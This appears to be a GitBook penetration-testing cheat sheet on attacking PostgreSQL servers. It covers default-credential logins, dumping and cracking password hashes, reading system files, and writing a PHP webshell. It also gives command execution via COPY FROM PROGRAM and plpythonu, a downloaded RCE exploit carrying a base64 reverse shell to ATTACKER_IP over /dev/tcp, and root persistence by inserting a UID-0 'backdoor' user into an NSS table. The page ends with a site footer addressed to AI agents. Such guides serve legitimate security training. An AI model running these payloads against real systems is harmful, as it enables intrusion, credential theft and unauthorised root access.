> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/recon-enumeration/pentesting-postgresql.md). # Pentesting PostgreSQL **Default Port:** 5432 PostgreSQL (psql) is an open-source relational database system. It's commonly found in web applications, especially those using Python/Django, Ruby on Rails, and Java/Spring Boot frameworks. *** ## Enumeration ### Nmap Scripts ```bash nmap -sV -p 5432 --script="pgsql-*" $ip ``` PostgreSQL may be exposed on nonstandard ports. Scan all TCP ports and include the discovered port in later tooling: ``` 5437/tcp open postgresql PostgreSQL DB 11.3 - 11.9 ``` Afrog may flag weak PostgreSQL credentials: ``` postgresql-weak-login HIGH TARGET:5437 [username="postgres",password="postgres",db="postgres"] ``` ### Banner Grabbing ```bash nc -nv $ip 5432 ``` *** ## Connecting to PostgreSQL ### Using psql Client ```bash # Basic connection psql -h -p 5432 -U -d # With password in environment variable (avoids password prompt) PGPASSWORD='password' psql -h 127.0.0.1 -p 5432 -U postgres -d cozyhosting # Connect to default database psql -h -U postgres # Connect via Unix socket (local) psql -U postgres ``` ### Common Default Credentials | Username | Password | | -------- | -------- | | postgres | postgres | | postgres | (empty) | | admin | admin | *** ## Essential psql Commands ### Navigation & Meta-Commands | Command | Description | | --------------- | ----------------------------------------- | | `\l` or `\list` | List all databases | | `\c ` | Connect to a database | | `\dt` | List tables in current database | | `\dt+` | List tables with size and description | | `\d ` | Describe table structure (columns, types) | | `\d+
` | Describe table with extra info | | `\du` | List users/roles | | `\dn` | List schemas | | `\df` | List functions | | `\x` | Toggle expanded display (vertical output) | | `\q` | Quit psql | ### Example Workflow ```sql -- Connect with password PGPASSWORD='Vg&nvzAQ7XxR' psql -h 127.0.0.1 -p 5432 -U postgres -d cozyhosting -- List all databases \l -- Connect to a specific database \c cozyhosting -- List tables with sizes \dt+ -- Output: -- Schema | Name | Type | Owner | Size | Description -- --------+-------+-------+----------+------------+------------- -- public | hosts | table | postgres | 8192 bytes | -- public | users | table | postgres | 8192 bytes | -- Describe table structure \d users -- Output: -- Column | Type | Nullable | Default -- ----------+------------------------+----------+--------- -- name | character varying(50) | not null | -- password | character varying(100) | not null | -- role | role | | -- Enable expanded display for better readability \x -- Query data SELECT * FROM users; -- Output (expanded): -- -[ RECORD 1 ]---------------------------------------------------------- -- name | kanderson -- password | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim -- role | User -- -[ RECORD 2 ]---------------------------------------------------------- -- name | admin -- password | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm -- role | Admin -- Quit \q ``` *** ## Extracting Data ### Dumping Users and Passwords ```sql -- Get all users SELECT * FROM users; -- Get usernames and passwords specifically SELECT name, password FROM users; -- Get PostgreSQL database users SELECT usename, passwd FROM pg_shadow; ``` ### Searching for Sensitive Data ```sql -- Search for password columns across all tables SELECT table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%pass%' OR column_name LIKE '%secret%' OR column_name LIKE '%key%'; -- Search for specific data SELECT * FROM users WHERE role = 'Admin'; ``` *** ## File Operations (Requires Superuser) ### Reading Files ```sql -- Read a file SELECT pg_read_file('/etc/passwd'); -- Using COPY CREATE TABLE temp(content text); COPY temp FROM '/etc/passwd'; SELECT * FROM temp; ``` ### Writing Files ```sql -- Write to a file COPY (SELECT 'test') TO '/tmp/test.txt'; -- Write webshell COPY (SELECT '') TO '/var/www/html/shell.php'; ``` *** ## Command Execution ### Using COPY FROM PROGRAM (PostgreSQL 9.3+) ```sql -- Create an output table first CREATE TABLE cmd_output(line text); -- Execute system commands COPY cmd_output FROM PROGRAM 'id'; SELECT * FROM cmd_output; DELETE FROM cmd_output; ``` If `curl`, `wget`, or other transfer tools are missing inside a database container, `COPY FROM PROGRAM` still works for command output. Use built-ins first (`id`, `ls`, `cat`, `find`, `base64`) and pivot or port-forward to the database from a container that can reach it. The public `postgresqlversions_9.3-11.7-RCE.py` helper automates authenticated command execution against vulnerable PostgreSQL `9.3` through `11.7` instances: ```bash wget https://raw.githubusercontent.com/kashif-23/modified-public-exploits/refs/heads/main/postgresqlversions_9.3-11.7-RCE.py python3 postgresqlversions_9.3-11.7-RCE.py \ -i TARGET -p 5437 -d postgres -U postgres -P postgres \ -c 'ping -c 4 ATTACKER_IP' ``` Successful output: ``` [+] Connecting to PostgreSQL Database on TARGET:5437 [+] Connection to Database established [+] Checking PostgreSQL version [+] PostgreSQL 11.7 is likely vulnerable [+] Creating table _d0e0bafba8207d37f69b7c2a0bbd44d2 [+] Command executed ``` When shell metacharacters are painful through the command wrapper, base64-encode the reverse shell and decode it on the target: ```bash echo 'sh -i >& /dev/tcp/ATTACKER_IP/80 0>&1' | base64 python3 postgresqlversions_9.3-11.7-RCE.py \ -i TARGET -p 5437 -d postgres -U postgres -P postgres \ -c 'echo BASE64_PAYLOAD | base64 -d | bash' ``` Successful shell context: ``` connect to [ATTACKER_IP] from (UNKNOWN) [TARGET] PORT sh: 0: can't access tty; job control turned off $ id uid=106(postgres) gid=113(postgres) groups=113(postgres),112(ssl-cert) ``` PostgreSQL labels `COPY FROM PROGRAM` as an intended administrative feature rather than a vulnerability, even though it is commonly tracked as `CVE-2019-9193`. ### Using Extensions ```sql -- Check if plpythonu is available CREATE EXTENSION plpythonu; -- Execute Python code CREATE OR REPLACE FUNCTION exec_cmd(cmd text) RETURNS text AS $$ import subprocess return subprocess.check_output(cmd, shell=True).decode() $$ LANGUAGE plpythonu; SELECT exec_cmd('id'); ``` *** ## Cracking PostgreSQL Hashes PostgreSQL password hashes are typically bcrypt (`$2a$`, `$2b$`, `$2y$`). ```bash # Identify hash type hashcat --identify hash.txt # The following hash-modes match: # 3200 | bcrypt $2*$, Blowfish (Unix) # Crack with hashcat hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt # Example hash # $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited ``` *** ## Privilege Escalation ### Check Current User Privileges ```sql -- Check if superuser SELECT current_user, (SELECT usesuper FROM pg_user WHERE usename = current_user) as is_superuser; -- List user privileges \du ``` ### PostgreSQL to System Shell If PostgreSQL is running as root or has SUID, check for privilege escalation: ```bash # Check PostgreSQL process ps aux | grep postgres # Check psql history for credentials cat /var/lib/postgresql/.psql_history ``` *** ## PostgreSQL NSS Privilege Escalation (Name Service Switch) PostgreSQL can be used with NSS (Name Service Switch) to store Linux user credentials. If you can write to the `passwd_table`, you can add SSH users or escalate privileges. ### Discovery ```bash # Find NSS PostgreSQL config files ls -la /etc/nss-pgsql* # -rw-r--r-- 1 root root 1341 nss-pgsql.conf # -rw-rw---- 1 root root 540 nss-pgsql-root.conf # nss-pgsql-root.conf contains elevated credentials cat /etc/nss-pgsql-root.conf # shadowconnectionstring = hostaddr=127.0.0.1 dbname=unix user=unixnssroot password=30jdsklj4d_3 ``` ### NSS Tables Structure ```sql -- Common NSS table names passwd_table -- User account info shadow_table -- Password hashes group_table -- Group info usergroups -- User-group mappings ``` ### Connect and Enumerate ```bash # Connect as elevated NSS user PGPASSWORD='password' psql -h 127.0.0.1 -p 5432 -U unixnssroot -d unix # Disable pager for clean output \pset pager off # List tables \dt # View passwd_table structure \d passwd_table # username | passwd | uid | gid | gecos | homedir | shell # View existing users SELECT * FROM passwd_table; ``` ### Add User with Root Privileges ```bash # Generate password hash (md5crypt format) openssl passwd -1 mypassword # $1$hlvkc202$rGqJSF9NqG3mnSRimbl6n1 ``` ```sql -- Insert new user with UID 0 (root) INSERT INTO passwd_table (username, passwd, uid, gid, homedir, shell) VALUES ('backdoor', '$1$hlvkc202$rGqJSF9NqG3mnSRimbl6n1', 0, 0, '/root', '/bin/bash'); -- Verify SELECT * FROM passwd_table WHERE username = 'backdoor'; ``` ### SSH as New Root User ```bash # SSH as the new user ssh backdoor@TARGET Password: mypassword # Verify root access id # uid=0(backdoor) gid=0(root) groups=0(root) ``` ### Alternative: Add User to Sudo Group If direct UID 0 doesn't work, try adding user to sudoers group (GID 27): ```sql INSERT INTO passwd_table (username, passwd, uid, gid, homedir, shell) VALUES ('sudouser', '$1$xxx$hash', 2001, 27, '/home/user', '/bin/bash'); ``` **Note:** Different NSS PostgreSQL users may have different table permissions. Test multiple credentials from `nss-pgsql.conf` and `nss-pgsql-root.conf`. *** ## Useful psql Settings ```sql -- Disable pager (prevents less/more from intercepting output) \pset pager off -- Enable expanded display for wide tables \x -- Show timing for queries \timing -- Check current user permissions \du+ ``` *** ## Useful Resources * * --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://book.ice-wzl.xyz/recon-enumeration/pentesting-postgresql.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.